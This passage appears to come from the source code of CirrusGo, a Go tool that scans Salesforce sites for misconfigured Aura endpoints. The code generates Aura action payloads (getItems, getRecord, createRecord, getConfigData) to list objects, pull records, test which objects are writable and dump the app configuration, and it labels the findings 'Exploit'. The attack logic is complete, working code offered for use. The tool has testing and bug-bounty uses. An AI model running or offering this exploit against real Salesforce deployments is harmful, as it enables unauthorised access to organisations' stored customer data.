set AppName") 136 | mainFlagSales.StringVar(&o.markup, "markup", "markuphere", "markup set markup") 137 | 138 | flag.Parse() 139 | if len(os.Args) != 1 { 140 | if AppNamevalidate(os.Args[1]) { 141 | mainFlagSales.Parse(os.Args[2:]) 142 | } 143 | } 144 | o.validate() 145 | return o 146 | } 147 | 148 | func (o *Options) validate() { 149 | 150 | if isStdin() { 151 | b, e := ioutil.ReadAll(os.Stdin) 152 | if e != nil { 153 | errors.Exit(e.Error()) 154 | } 155 | 156 | o.Target = string(b) 157 | } else if o.URL != "" { 158 | 159 | o.Target = o.URL 160 | } else if o.List != "" { 161 | f, e := ioutil.ReadFile(o.List) 162 | if e != nil { 163 | errors.Exit(e.Error()) 164 | } 165 | log.Println(string(f)) 166 | o.Target = string(f) 167 | } else if o.payload || o.listApp || o.help || o.Version { 168 | // bypass vlidate target -flag payload 169 | } else { 170 | errors.Exit("No target input provided.") 171 | } 172 | 173 | if o.infosec_90 != "" { 174 | f, e := os.OpenFile(o.infosec_90, 175 | os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 176 | if e != nil { 177 | errors.Exit(e.Error()) 178 | } 179 | o.Output = f 180 | } 181 | } 182 | 183 | func isStdin() bool { 184 | f, e := os.Stdin.Stat() 185 | if e != nil { 186 | return false 187 | } 188 | if f.Mode()&os.ModeNamedPipe == 0 { 189 | return false 190 | } 191 | 192 | return true 193 | } 194 | 195 | func AppNamevalidate(flag string) bool { 196 | switch flag { 197 | case "salesforce": 198 | return true 199 | case "-payload", "--payload": 200 | return true 201 | } 202 | 203 | return false 204 | } 205 | -------------------------------------------------------------------------------- /internal/runner/runner.go: -------------------------------------------------------------------------------- 1 | package runner 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/url" 7 | "os" 8 | "strings" 9 | 10 | "github.com/Ph33rr/cirrusgo/pkg/salesforce" 11 | "github.com/logrusorgru/aurora" 12 | ) 13 | 14 | func New(options *Options) { 15 | 16 | showBanner() 17 | 18 | if len(os.Args) != 1 && AppNamevalidate(os.Args[1]) { 19 | if o.payload { 20 | if o.ObjectList { 21 | fmt.Printf("[%s] %s %s\n", aurora.Green("Generator").String(), 22 | aurora.White("Payload:").String(), aurora.Blue(string(salesforce.PayloadGeneratorObjectList()))) 23 | } 24 | if o.Dump { 25 | fmt.Printf("[%s] %s %s\n", aurora.Green("Generator").String(), 26 | aurora.White("Payload:").String(), aurora.Blue(string(salesforce.PayloadGeneratorDump()))) 27 | } 28 | if o.GetItems { 29 | if o.objName != "" && o.pageNumber != 0 && o.pageSize != 0 { 30 | fmt.Printf("[%s] %s %s\n", aurora.Green("Generator").String(), 31 | aurora.White("Payload:").String(), aurora.Blue(string(salesforce.PayloadGeneratorGetItems(o.objName, o.pageSize, o.pageNumber)))) 32 | } 33 | } 34 | if o.GetRecord { 35 | if o.recordId != "" { 36 | fmt.Printf("[%s] %s %s\n", aurora.Green("Generator").String(), 37 | aurora.White("Payload:").String(), aurora.Blue(string(salesforce.PayloadGeneratorGetRecord(o.recordId)))) 38 | } 39 | } 40 | if o.WritableOBJ { 41 | if o.objName != "" { 42 | fmt.Printf("[%s] %s %s\n", aurora.Green("Generator").String(), 43 | aurora.White("Payload:").String(), aurora.Blue(string(salesforce.PayloadGeneratorWritableOBJ(o.objName)))) 44 | } 45 | } 46 | if o.SearchObj { 47 | if o.objName != "" && o.pageNumber != 0 && o.pageSize != 0 { 48 | fmt.Printf("[%s] %s %s\n", aurora.Green("Generator").String(), 49 | aurora.White("Payload:").String(), aurora.Blue(string(salesforce.PayloadGeneratorSearchObj(o.objName, o.pageSize, o.pageNumber)))) 50 | } 51 | } 52 | if o.AuraContext { 53 | if o.fwuid != "" && o.AppName != "" && o.markup != "" { 54 | fmt.Printf("[%s] %s %s\n", aurora.Green("Generator").String(), 55 | aurora.White("Payload:").String(), aurora.Blue(string(salesforce.PayloadGeneratorAuraContext(o.fwuid, o.AppName, o.markup)))) 56 | } 57 | } else { 58 | fmt.Println(salesforceOptionsPayload) 59 | } 60 | } else { 61 | if o.check { 62 | salesforce.CheckVulnEndpoint(o.Target, o.Proxy, o.Headers) 63 | } 64 | } 65 | if o.listobj { 66 | foundEndPoint, target := salesforce.CheckVulnEndpoint(o.Target, o.Proxy, o.Headers) 67 | ResponseGET := salesforce.RequestSalesforceGET(target, "GET", o.Proxy, o.Headers, nil) 68 | fmt.Printf("[%s] %s %s\n", aurora.Green("INFO").String(), 69 | aurora.White("Object List:").String(), aurora.White(salesforce.GetObjectList(ResponseGET, target, foundEndPoint, o.Proxy, o.Headers))) 70 | } 71 | if o.getobj { 72 | foundEndPoint, target := salesforce.CheckVulnEndpoint(o.Target, o.Proxy, o.Headers) 73 | log.Println(target) 74 | ResponseGET := salesforce.RequestSalesforceGET(target, "GET", o.Proxy, o.Headers, nil) 75 | fmt.Printf("[%s] %s %s %s\n", aurora.Red("Exploit").String(), 76 | aurora.White("Object").String(), aurora.White(o.objName+":").String(), 77 | aurora.White(salesforce.GetObjectItems(ResponseGET, target, foundEndPoint, o.objName, o.pageSize, o.pageNumber, o.Proxy, o.Headers))) 78 | 79 | } 80 | if o.getrecord { 81 | foundEndPoint, target := salesforce.CheckVulnEndpoint(o.Target, o.Proxy, o.Headers) 82 | ResponseGET := salesforce.RequestSalesforceGET(target, "GET", o.Proxy, o.Headers, nil) 83 | fmt.Printf("[%s] %s %s %s\n", aurora.Red("Exploit").String(), 84 | aurora.White("Object").String(), aurora.White(o.objName+":").String(), 85 | aurora.White(salesforce.GetObjectRecord(ResponseGET, target, foundEndPoint, o.recordId, o.Proxy, o.Headers))) 86 | 87 | } 88 | if o.full { 89 | foundEndPoint, target := salesforce.CheckVulnEndpoint(o.Target, o.Proxy, o.Headers) 90 | ResponseGET := salesforce.RequestSalesforceGET(target, "GET", o.Proxy, o.Headers, nil) 91 | objectList := salesforce.GetObjectList(ResponseGET, target, foundEndPoint, o.Proxy, o.Headers) 92 | for _, v := range objectList { 93 | response := salesforce.GetObjectItems(ResponseGET, target, foundEndPoint, v, o.pageSize, o.pageNumber, o.Proxy, o.Headers) 94 | if len(response) <= 2 { 95 | fmt.Printf("[%s] %s %s \n", aurora.Green("INFO").String(), 96 | aurora.White("Object empty").String(), aurora.White(v+":")) 97 | } else { 98 | fmt.Printf("[%s] %s %s %s\n", aurora.Red("Exploit").String(), 99 | aurora.White("Object").String(), aurora.White(v+":").String(), 100 | aurora.White(response)) 101 | } 102 | } 103 | } 104 | if o.checkWritableOBJ { 105 | foundEndPoint, target := salesforce.CheckVulnEndpoint(o.Target, o.Proxy, o.Headers) 106 | ResponseGET := salesforce.RequestSalesforceGET(target, "GET", o.Proxy, o.Headers, nil) 107 | objectList := salesforce.GetObjectList(ResponseGET, target, foundEndPoint, o.Proxy, o.Headers) 108 | for _, v := range objectList { 109 | response := salesforce.GetWritableObject(ResponseGET, target, foundEndPoint, v, o.Proxy, o.Headers) 110 | if strings.Contains(response, "fields") { 111 | fmt.Printf("[%s] %s %s \n", aurora.Red("Exploit").String(), 112 | aurora.White("Object Writable").String(), aurora.White(v+":")) 113 | } else { 114 | fmt.Printf("[%s] %s %s\n", aurora.Green("INFO").String(), 115 | aurora.White("Object Not Writable").String(), aurora.White(v+":").String()) 116 | } 117 | } 118 | 119 | } 120 | if o.dump { 121 | foundEndPoint, target := salesforce.CheckVulnEndpoint(o.Target, o.Proxy, o.Headers) 122 | ResponseGET := salesforce.RequestSalesforceGET(target, "GET", o.Proxy, o.Headers, nil) 123 | fmt.Printf("[%s] %s %s\n", aurora.Green("INFO").String(), 124 | aurora.White("Dump all INFO:").String(), aurora.White(salesforce.GetDump(ResponseGET, target, foundEndPoint, o.Proxy, o.Headers))) 125 | 126 | } 127 | if o.help { 128 | fmt.Println(salesforceOptions) 129 | } 130 | 131 | } else if isURL(FixURL(options.Target)) { 132 | salesforce.CheckVulnEndpoint(FixURL(options.Target), options.Proxy, options.Headers) 133 | } 134 | if o.listApp { 135 | fmt.Printf("\n[%s] %s\n", aurora.Green("App Support").String(), 136 | aurora.White(applist).String()) 137 | 138 | } 139 | if o.help { 140 | h := 141 | "\n" + 142 | "Usage:" + usage + 143 | "\n" + 144 | "Options:" + optionss + 145 | "" 146 | 147 | fmt.Println(h) 148 | } 149 | if o.Version { 150 | showVersion() 151 | 152 | } 153 | } 154 | func isURL(s string) bool { 155 | 156 | _, e := url.ParseRequestURI(s) 157 | if e != nil { 158 | return false 159 | } 160 | 161 | u, e := url.Parse(s) 162 | log.Println(s) 163 | if e != nil || u.Scheme == "" || u.Host == "" { 164 | return false 165 | } 166 | 167 | return true 168 | } 169 | 170 | func FixURL(s string) string { 171 | 172 | oldurl := strings.ReplaceAll(s, "\r\n", "") 173 | newurl := strings.ReplaceAll(oldurl, "\ufeff", "") 174 | 175 | return newurl 176 | } 177 | -------------------------------------------------------------------------------- /internal/runner/version.go: -------------------------------------------------------------------------------- 1 | package runner 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | 7 | "github.com/logrusorgru/aurora" 8 | ) 9 | 10 | func showVersion() { 11 | fmt.Printf("\n[%s] CirrusGo %s\n", aurora.Green("VER").String(), 12 | aurora.White(version).String()) 13 | os.Exit(2) 14 | } 15 | -------------------------------------------------------------------------------- /pkg/contentful/contentful.go: -------------------------------------------------------------------------------- 1 | package contentful 2 | -------------------------------------------------------------------------------- /pkg/errors/errors.go: -------------------------------------------------------------------------------- 1 | package errors 2 | 3 | import ( 4 | "os" 5 | "strings" 6 | 7 | "github.com/projectdiscovery/gologger" 8 | ) 9 | 10 | // Exit will show error details and stop the program 11 | func Exit(err string) { 12 | msg := "Error! " 13 | if err != "" { 14 | for _, e := range strings.Split(strings.TrimSuffix(err, "\n"), "\n") { 15 | msg += e 16 | Show(msg) 17 | } 18 | gologger.Info().Msg("Use \"-h\" flag for more info about command.") 19 | os.Exit(1) 20 | } 21 | } 22 | 23 | // Show error message 24 | func Show(msg string) { 25 | gologger.Info().Msg("\n" + msg) 26 | } 27 | -------------------------------------------------------------------------------- /pkg/request/client.go: -------------------------------------------------------------------------------- 1 | package request 2 | 3 | import ( 4 | "crypto/tls" 5 | "net" 6 | "net/http" 7 | "net/url" 8 | "time" 9 | ) 10 | 11 | // Client define http.Client 12 | func Client(p string) *http.Client { 13 | tr := &http.Transport{ 14 | MaxIdleConns: 30, 15 | IdleConnTimeout: time.Second, 16 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // lgtm [go/disabled-certificate-check] 17 | DialContext: (&net.Dialer{ 18 | Timeout: time.Second * 30, 19 | KeepAlive: time.Second, 20 | }).DialContext, 21 | } 22 | 23 | if p != "" { 24 | if p, err := url.Parse(p); err == nil { 25 | tr.Proxy = http.ProxyURL(p) 26 | } 27 | } 28 | 29 | re := func(req *http.Request, via []*http.Request) error { 30 | return http.ErrUseLastResponse 31 | } 32 | 33 | return &http.Client{ 34 | Transport: tr, 35 | CheckRedirect: re, 36 | Timeout: time.Second * 30, 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /pkg/salesforce/checkvuln.go: -------------------------------------------------------------------------------- 1 | package salesforce 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/url" 7 | "strings" 8 | 9 | "github.com/logrusorgru/aurora" 10 | "github.com/projectdiscovery/gologger" 11 | "github.com/projectdiscovery/gologger/levels" 12 | ) 13 | 14 | func CheckVulnEndpoint(urls string, requestProxy string, requestHeaders []string) ([]string, string) { 15 | gologger.DefaultLogger.SetMaxLevel(levels.LevelDebug) 16 | domainfromURL := urls 17 | auraPathEndpoint := [7]string{ 18 | "", 19 | "/", "/aura", "/s/aura", "/s/sfsites/aura", "/sfsites/aura", "/s/fact"} 20 | var foundEndPoint []string 21 | payloadPOST := string(PayloadGeneratorObjectList()) 22 | requestMethod := "POST" 23 | requestParameter := map[string]string{"Massage": payloadPOST} 24 | 25 | for _, v := range auraPathEndpoint { 26 | 27 | responsebyte := RequestSalesforcePOST(urls+v, requestMethod, requestProxy, requestHeaders, requestParameter) 28 | responsestr := string(responsebyte) 29 | if strings.Contains(responsestr, "aura:invalidSession") { 30 | foundEndPoint = append(foundEndPoint, v) 31 | 32 | fmt.Printf("[%s] %s %s\n", aurora.Red("VLN").String(), 33 | aurora.White(urls+v).String(), aurora.Red("Vulnerable").String()) 34 | 35 | } 36 | 37 | } 38 | if len(foundEndPoint) == 0 { 39 | urlso, err := url.Parse(domainfromURL) 40 | if err != nil { 41 | log.Fatal(err) 42 | } 43 | hostname := strings.TrimPrefix(urlso.Hostname(), "") 44 | hostname2 := strings.TrimPrefix(urlso.Scheme, "") 45 | urls := hostname2 + "://" + hostname 46 | for _, v := range auraPathEndpoint { 47 | 48 | responsebyte := RequestSalesforcePOST(urls+v, requestMethod, requestProxy, requestHeaders, requestParameter) 49 | responsestr := string(responsebyte) 50 | if strings.Contains(responsestr, "aura:invalidSession") { 51 | foundEndPoint = append(foundEndPoint, v) 52 | 53 | fmt.Printf("[%s] %s %s\n", aurora.Red("VLN").String(), 54 | aurora.White(urls+v).String(), aurora.Red("Vulnerable").String()) 55 | 56 | } 57 | } 58 | if len(foundEndPoint) == 0 { 59 | fmt.Printf("[%s] %s %s\n", aurora.Blue("INFO").String(), 60 | aurora.White(urls).String(), aurora.Blue("Not Vulnerable").String()) 61 | } else { 62 | v := strings.Join(foundEndPoint, ",") 63 | fmt.Printf("[%s] %s\n", aurora.Red("vulnerable Endpoint").String(), 64 | aurora.White("["+v+"]").String()) 65 | return foundEndPoint, urls 66 | } 67 | 68 | } else { 69 | 70 | v := strings.Join(foundEndPoint, ",") 71 | fmt.Printf("[%s] %s\n", aurora.Red("vulnerable Endpoint").String(), 72 | aurora.White("["+v+"]").String()) 73 | 74 | } 75 | 76 | return foundEndPoint, urls 77 | } 78 | -------------------------------------------------------------------------------- /pkg/salesforce/getobject.go: -------------------------------------------------------------------------------- 1 | package salesforce 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "log" 7 | "net/url" 8 | "regexp" 9 | 10 | "github.com/buger/jsonparser" 11 | "github.com/logrusorgru/aurora" 12 | "github.com/projectdiscovery/gologger" 13 | ) 14 | 15 | func GetObjectList(ResponseGET []byte, url string, foundEndPoint []string, requestProxy string, requestHeaders []string) []string { 16 | var arrayObjList []string 17 | 18 | payloadMassage := string(PayloadGeneratorObjectList()) 19 | fwuid, app, markup := GetAuraContext(ResponseGET) 20 | payloadAuraContext := string(PayloadGeneratorAuraContext(fwuid, app, markup)) 21 | requestMethod := "POST" 22 | requestParameter := map[string]string{"message": payloadMassage, "aura.context": payloadAuraContext, "aura.token": "null"} 23 | responsebyte := RequestSalesforcePOST(url+foundEndPoint[0], requestMethod, requestProxy, requestHeaders, requestParameter) 24 | jsonparser.ArrayEach(responsebyte, func(value []byte, dataType jsonparser.ValueType, offset int, err error) { 25 | jsonvalu, _, _, err := jsonparser.Get(value, "returnValue", "apiNamesToKeyPrefixes") 26 | if err != nil { 27 | log.Fatalf("An Error Occured %v", err) 28 | gologger.Fatal().Msg("Failed to get ObjectList") 29 | } 30 | addValu := map[string]string{} 31 | json.Unmarshal([]byte(jsonvalu), &addValu) 32 | for k, _ := range addValu { 33 | arrayObjList = append(arrayObjList, k) 34 | } 35 | }, "actions") 36 | return arrayObjList 37 | } 38 | 39 | func GetDump(ResponseGET []byte, url string, foundEndPoint []string, requestProxy string, requestHeaders []string) string { 40 | //var arrayObjList []string 41 | 42 | payloadMassage := string(PayloadGeneratorDump()) 43 | fwuid, app, markup := GetAuraContext(ResponseGET) 44 | payloadAuraContext := string(PayloadGeneratorAuraContext(fwuid, app, markup)) 45 | requestMethod := "POST" 46 | requestParameter := map[string]string{"message": payloadMassage, "aura.context": payloadAuraContext, "aura.token": "null"} 47 | responsebyte := RequestSalesforcePOST(url+foundEndPoint[0], requestMethod, requestProxy, requestHeaders, requestParameter) 48 | ss, _, _, _ := jsonparser.Get(responsebyte) 49 | return string(ss) 50 | } 51 | 52 | func GetObjectItems(ResponseGET []byte, url string, foundEndPoint []string, objectName string, pageSize int, page int, requestProxy string, requestHeaders []string) string { 53 | var data string 54 | payloadMassage := string(PayloadGeneratorGetItems(objectName, pageSize, page)) 55 | fwuid, app, markup := GetAuraContext(ResponseGET) 56 | payloadAuraContext := string(PayloadGeneratorAuraContext(fwuid, app, markup)) 57 | requestMethod := "POST" 58 | requestParameter := map[string]string{"message": payloadMassage, "aura.context": payloadAuraContext, "aura.token": "null"} 59 | 60 | responsebyte := RequestSalesforcePOST(url+foundEndPoint[0], requestMethod, requestProxy, requestHeaders, requestParameter) 61 | jsonparser.ArrayEach(responsebyte, func(value []byte, dataType jsonparser.ValueType, offset int, err error) { 62 | jsonvalu, _, _, _ := jsonparser.Get(value, "returnValue", "result") 63 | 64 | data = string(jsonvalu) 65 | 66 | }, "actions") 67 | return data 68 | } 69 | 70 | func GetObjectRecord(ResponseGET []byte, url string, foundEndPoint []string, recodeId string, requestProxy string, requestHeaders []string) string { 71 | var data string 72 | payloadMassage := string(PayloadGeneratorGetRecord(recodeId)) 73 | fwuid, app, markup := GetAuraContext(ResponseGET) 74 | payloadAuraContext := string(PayloadGeneratorAuraContext(fwuid, app, markup)) 75 | requestMethod := "POST" 76 | requestParameter := map[string]string{"message": payloadMassage, "aura.context": payloadAuraContext, "aura.token": "null"} 77 | responsebyte := RequestSalesforcePOST(url+foundEndPoint[0], requestMethod, requestProxy, requestHeaders, requestParameter) 78 | jsonparser.ArrayEach(responsebyte, func(value []byte, dataType jsonparser.ValueType, offset int, err error) { 79 | jsonvalu, _, _, err := jsonparser.Get(value, "returnValue", "record") 80 | if err != nil { 81 | log.Fatalf("An Error Occured %v", err) 82 | gologger.Fatal().Msg("Failed to get ObjectRecord") 83 | } 84 | data = string(jsonvalu) 85 | 86 | }, "actions") 87 | return data 88 | } 89 | 90 | func GetWritableObject(ResponseGET []byte, url string, foundEndPoint []string, objectname string, requestProxy string, requestHeaders []string) string { 91 | var data string 92 | payloadMassage := string(PayloadGeneratorWritableOBJ(objectname)) 93 | fwuid, app, markup := GetAuraContext(ResponseGET) 94 | payloadAuraContext := string(PayloadGeneratorAuraContext(fwuid, app, markup)) 95 | requestMethod := "POST" 96 | requestParameter := map[string]string{"message": payloadMassage, "aura.context": payloadAuraContext, "aura.token": "null"} 97 | 98 | responsebyte := RequestSalesforcePOST(url+foundEndPoint[0], requestMethod, requestProxy, requestHeaders, requestParameter) 99 | jsonparser.ArrayEach(responsebyte, func(value []byte, dataType jsonparser.ValueType, offset int, err error) { 100 | jsonvalu, _, _, err := jsonparser.Get(value, "error") 101 | 102 | data = string(jsonvalu) 103 | 104 | }, "actions") 105 | return data 106 | } 107 | 108 | func GetSearchObjectGetSearchObject(ResponseGET []byte, url string, foundEndPoint []string, objectName string, pageSize int, page int, requestProxy string, requestHeaders []string) string { 109 | var data string 110 | payloadMassage := string(PayloadGeneratorSearchObj(objectName, pageSize, page)) 111 | fwuid, app, markup := GetAuraContext(ResponseGET) 112 | payloadAuraContext := string(PayloadGeneratorAuraContext(fwuid, app, markup)) 113 | requestMethod := "POST" 114 | requestParameter := map[string]string{"message": payloadMassage, "aura.context": payloadAuraContext, "aura.token": "null"} 115 | 116 | responsebyte := RequestSalesforcePOST(url+foundEndPoint[0], requestMethod, requestProxy, requestHeaders, requestParameter) 117 | jsonparser.ArrayEach(responsebyte, func(value []byte, dataType jsonparser.ValueType, offset int, err error) { 118 | jsonvalu, _, _, err := jsonparser.Get(value, "returnValue") 119 | if err != nil { 120 | log.Fatalf("An Error Occured %v", err) 121 | gologger.Fatal().Msg("Failed to get ObjectItems") 122 | } 123 | data = string(jsonvalu) 124 | 125 | }, "actions") 126 | return data 127 | } 128 | 129 | //this func get fwuid and markup from (func requestSalesforceGET) 130 | //then return AuraContext for Generator payload 131 | //([\s\S]*?)<\/.*> backup regex 132 | func GetAuraContext(response []byte) (string, string, string) { 133 | 134 | var fwuid, app, markup string 135 | responesAuraContext := string(response) 136 | regexJS := regexp.MustCompile(`([\s\S]*?)<\/script>`).FindAllString(responesAuraContext, -1) 137 | var temparrayJS []string 138 | for _, s := range regexJS { 139 | 140 | tempJS, err := url.QueryUnescape(s) 141 | if err != nil { 142 | log.Fatalf("An Error Occured %v", err) 143 | gologger.Fatal().Msg("Failed to get AuraContext") 144 | } 145 | temparrayJS = append(temparrayJS, tempJS) 146 | 147 | } 148 | 149 | for _, v := range temparrayJS { 150 | fwuid := string(regexp.MustCompile(`"fwuid":"([^"]+)"`).FindString(v)) 151 | app := string(regexp.MustCompile(`"app":"([^"]+)"`).FindString(v)) 152 | markup := string(regexp.MustCompile(`"(APPLICATION@markup[^"]+)":"([^"]+)"`).FindString(v)) 153 | 154 | if fwuid != "" && app != "" && markup != "" { 155 | fmt.Printf("[%s] %s %s\n", aurora.Blue("INFO").String(), 156 | aurora.White("UID: ").String(), aurora.Blue("["+fwuid+"]").String()) 157 | fmt.Printf("[%s] %s %s\n", aurora.Blue("INFO").String(), 158 | aurora.White("App Name: ").String(), aurora.Blue("["+app+"]").String()) 159 | fmt.Printf("[%s] %s %s\n", aurora.Blue("INFO").String(), 160 | aurora.White("Markup: ").String(), aurora.Blue("["+markup+"]").String()) 161 | return fwuid, app, markup 162 | 163 | } 164 | } 165 | 166 | if fwuid == "" && app == "" && markup == "" { 167 | gologger.Fatal().Msg("Failed to get AuraContext") 168 | return "", "", "" 169 | } 170 | 171 | return fwuid, app, markup 172 | } 173 | -------------------------------------------------------------------------------- /pkg/salesforce/payload.go: -------------------------------------------------------------------------------- 1 | package salesforce 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | ) 7 | 8 | type payload struct { 9 | Massage json.RawMessage `json:"actions"` 10 | } 11 | 12 | func PayloadGeneratorGetItems(objectName string, page_size int, page int) []byte { 13 | 14 | payload1 := `[{"id":"CirrusGo","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"` 15 | payload2 := objectName 16 | payload3 := `","layoutType":"FULL",` 17 | payload4 := fmt.Sprintf(`"pageSize":%d`, page_size) 18 | payload5 := fmt.Sprintf(`,"currentPage":%d`, page) 19 | payload6 := `,"useTimeout":false,"getCount":true,"enableRowActions":false}}]` 20 | finalpayload := []byte(payload1 + payload2 + payload3 + payload4 + payload5 + payload6) 21 | 22 | p := payload{ 23 | Massage: json.RawMessage(finalpayload), 24 | } 25 | genPOC, err := json.Marshal(p) 26 | 27 | if err != nil { 28 | panic(err) 29 | 30 | } 31 | return genPOC 32 | } 33 | 34 | func PayloadGeneratorGetRecord(recodeId string) []byte { 35 | 36 | payload1 := `[{"id":"CirrusGo","descriptor":"serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord","callingDescriptor":"UNKNOWN","params":{"recordId":"` 37 | payload2 := recodeId 38 | payload3 := `","record":null,"inContextOfComponent":"","mode":"VIEW","layoutType":"FULL","defaultFieldValues":null,"navigationLocation":"LIST_VIEW_ROW"}}]` 39 | finalpayload := []byte(payload1 + payload2 + payload3) 40 | 41 | p := payload{ 42 | Massage: json.RawMessage(finalpayload), 43 | } 44 | 45 | genPOC, err := json.Marshal(p) 46 | 47 | if err != nil { 48 | panic(err) 49 | } 50 | return genPOC 51 | 52 | } 53 | 54 | func PayloadGeneratorWritableOBJ(objectName string) []byte { 55 | 56 | payload1 := `[{"id":"123;a","descriptor":"aura://RecordUiController/ACTION$createRecord","callingDescriptor":"UNKNOWN","params":{"recordInput":{"apiName":"` 57 | payload2 := objectName 58 | payload3 := `","fields":{}}}}]` 59 | finalpayload := []byte(payload1 + payload2 + payload3) 60 | 61 | p := payload{ 62 | Massage: json.RawMessage(finalpayload), 63 | } 64 | 65 | genPOC, err := json.Marshal(p) 66 | 67 | if err != nil { 68 | panic(err) 69 | } 70 | return genPOC 71 | } 72 | 73 | func PayloadGeneratorSearchObj(objectName string, page_size int, page int) []byte { 74 | 75 | payload1 := `[{"id":"CirrusGo","descriptor":"serviceComponent://ui.search.components.forcesearch.scopedresultsdataprovider.ScopedResultsDataProviderController/ACTION$getLookupItems","callingDescriptor":"UNKNOWN","params":{"scope":"` 76 | payload2 := objectName 77 | payload3 := `","term":"Ae",` 78 | payload4 := fmt.Sprintf(`"pageSize":%d`, page_size) 79 | payload5 := fmt.Sprintf(`,"currentPage":%d`, page) 80 | payload6 := `,"enableRowActions":"False","additionalFields":[],"useADS":"False"}}]` 81 | finalpayload := []byte(payload1 + payload2 + payload3 + payload4 + payload5 + payload6) 82 | 83 | p := payload{ 84 | Massage: json.RawMessage(finalpayload), 85 | } 86 | genPOC, err := json.Marshal(p) 87 | 88 | if err != nil { 89 | panic(err) 90 | 91 | } 92 | return genPOC 93 | } 94 | 95 | func PayloadGeneratorAuraContext(fwuid string, app string, markup string) []byte { 96 | 97 | payload1 := `{"mode":"PROD",` 98 | payload2 := fwuid 99 | payload3 := `,` 100 | payload4 := app 101 | payload5 := `,"loaded":{` 102 | payload6 := markup 103 | payload7 := `},"dn":[],"globals":{},"uad":false}` 104 | finalpayload := []byte(payload1 + payload2 + payload3 + payload4 + payload5 + payload6 + payload7) 105 | finalpayloads := json.RawMessage(finalpayload) 106 | genPOC, err := json.Marshal(finalpayloads) 107 | 108 | if err != nil { 109 | 110 | payload2 := `"fwuid":"` + fwuid + `"` 111 | 112 | payload4 := `"app":"` + app + `"` 113 | 114 | payload6 := `"` + markup + `":"markupID"` 115 | 116 | finalpayload := []byte(payload1 + payload2 + payload3 + payload4 + payload5 + payload6 + payload7) 117 | finalpayloads := json.RawMessage(finalpayload) 118 | genPOC, err := json.Marshal(finalpayloads) 119 | if err != nil { 120 | panic(err) 121 | } 122 | return genPOC 123 | } 124 | 125 | return genPOC 126 | 127 | } 128 | 129 | func PayloadGeneratorObjectList() []byte { 130 | 131 | payload1 := `[{"id":"Cirrus","descriptor":"aura://HostConfigController/ACTION$getConfigData","callingDescriptor":"UHNKNOWN","params":{}}]` 132 | finalpayload := []byte(payload1) 133 | p := payload{ 134 | Massage: json.RawMessage(finalpayload), 135 | } 136 | genPOC, err := json.Marshal(p) 137 | if err != nil { 138 | panic(err) 139 | } 140 | return genPOC 141 | 142 | } 143 | 144 | func PayloadGeneratorDump() []byte { 145 | 146 | payload1 := `[{"id":"CirrusGo","descriptor":"serviceComponent://ui.global.components.one.one.controller.OneController/ACTION$getCurrentApp","callingDescriptor":"UNKNOWN","params":{}}]` 147 | finalpayload := []byte(payload1) 148 | p := payload{ 149 | Massage: json.RawMessage(finalpayload), 150 | } 151 | genPOC, err := json.Marshal(p) 152 | if err != nil { 153 | panic(err) 154 | } 155 | return genPOC 156 | 157 | } 158 | -------------------------------------------------------------------------------- /pkg/salesforce/salesforce.go: -------------------------------------------------------------------------------- 1 | package salesforce 2 | 3 | import ( 4 | "bytes" 5 | "io/ioutil" 6 | "log" 7 | "net/http" 8 | "net/url" 9 | "regexp" 10 | "strings" 11 | 12 | "github.com/Ph33rr/cirrusgo/pkg/request" 13 | "github.com/projectdiscovery/gologger" 14 | ) 15 | 16 | type dataSalesforce struct { 17 | requestURL string 18 | requestMethod string 19 | requestProxy string 20 | requestHeaders []string 21 | requestParameter map[string]string 22 | } 23 | 24 | func RequestSalesforcePOST(requestURL string, requestMethod string, requestProxy string, requestHeaders []string, requestParameter map[string]string) []byte { 25 | 26 | client := request.Client(requestProxy) 27 | requestParam := url.Values{} 28 | 29 | //add all param 30 | if requestParameter != nil { 31 | 32 | for keyParameter, valuParameter := range requestParameter { 33 | requestParam.Set(keyParameter, valuParameter) 34 | } 35 | } 36 | //encode all param 37 | finalRequestBody := bytes.NewBuffer([]byte(requestParam.Encode())) 38 | request, err := http.NewRequest(requestMethod, requestURL, finalRequestBody) 39 | request.Header.Set("Content-Type", "application/x-www-form-urlencoded") 40 | 41 | if err != nil { 42 | 43 | log.Fatalf("An Error Occured %v", err) 44 | gologger.Fatal().Msg("can't handle Add Header(POST)") 45 | 46 | } 47 | 48 | //add all header 49 | if requestHeaders != nil { 50 | for _, header := range requestHeaders { 51 | parts := strings.SplitN(header, ":", 2) 52 | 53 | if len(parts) != 2 { 54 | continue 55 | } 56 | 57 | request.Header.Set(parts[0], parts[1]) 58 | } 59 | } 60 | //send request 61 | response, err := client.Do(request) 62 | if err != nil { 63 | log.Fatalf("An Error Occured %v", err) 64 | gologger.Fatal().Msg("Can't send POST request") 65 | 66 | } 67 | 68 | responseBody, err := ioutil.ReadAll(response.Body) 69 | if err != nil { 70 | log.Fatalln(err) 71 | gologger.Fatal().Msg("Can't handle response(POST)") 72 | } 73 | 74 | defer request.Body.Close() 75 | //return respnse 76 | return responseBody 77 | } 78 | 79 | //this func return response (fwuid and markup for salseforce) 80 | func RequestSalesforceGET(requestURL string, requestMethod string, requestProxy string, requestHeaders []string, requestParameter map[string]string) []byte { 81 | 82 | client := request.Client(requestProxy) 83 | requestParam := url.Values{} 84 | //add param 85 | if requestParameter != nil { 86 | 87 | for keyParameter, valuParameter := range requestParameter { 88 | 89 | requestParam.Set(keyParameter, valuParameter) 90 | } 91 | } 92 | //encode param 93 | finalRequestBody := bytes.NewBuffer([]byte(requestParam.Encode())) 94 | request, err := http.NewRequest(requestMethod, requestURL, finalRequestBody) 95 | request.Header.Set("Content-Type", "application/x-www-form-urlencoded") 96 | 97 | if err != nil { 98 | log.Fatalf("An Error Occured %v", err) 99 | gologger.Fatal().Msg("can't handle Add Header(GET)") 100 | } 101 | //add header 102 | 103 | if requestHeaders != nil { 104 | for _, header := range requestHeaders { 105 | parts := strings.SplitN(header, ":", 2) 106 | 107 | if len(parts) != 2 { 108 | continue 109 | } 110 | 111 | 